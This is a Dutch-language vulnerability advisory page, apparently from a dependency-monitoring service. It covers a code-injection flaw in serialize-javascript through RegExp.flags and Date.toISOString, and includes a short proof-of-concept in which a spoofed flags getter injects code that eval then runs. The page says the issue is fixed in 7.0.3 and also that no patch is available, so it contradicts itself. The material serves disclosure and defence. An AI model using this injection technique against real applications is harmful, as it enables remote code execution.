UNKNOWNGHSA-5c6j-r48x-rmvq

Serialize JavaScript is kwetsbaar voor RCE via RegExp.flags en Date.prototype.toISOString()

Platform

nodejs

Component

serialize-javascript

Opgelost in

7.0.3

### Impact Het serialize-javascript npm-pakket (versies <= 7.0.2) bevat een code-injectie kwetsbaarheid. Het is een incomplete fix voor CVE-2020-7660. Hoewel `RegExp.source` is ontsmet, wordt `RegExp.flags` direct in de gegenereerde uitvoer geïnterpoleerd zonder te escapen. Een soortgelijk probleem bestaat in `Date.prototype.toISOString()`. Als een aanvaller het invoerobject dat aan `serialize()` wordt doorgegeven kan controleren, kunnen ze kwaadaardige JavaScript injecteren via de flags-eigenschap van een RegExp-object. Wanneer de geserialiseerde string later wordt geëvalueerd (via `eval`, `new Function` of `<script>` tags), wordt de geïnjecteerde code uitgevoerd. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log("

Hoe te verhelpen

Geen officiële patch beschikbaar. Zoek naar tijdelijke oplossingen of monitor updates.

Bewaak uw afhankelijkheden automatisch

Ontvang meldingen wanneer nieuwe kwetsbaarheden uw projecten beïnvloeden.

Gratis beginnen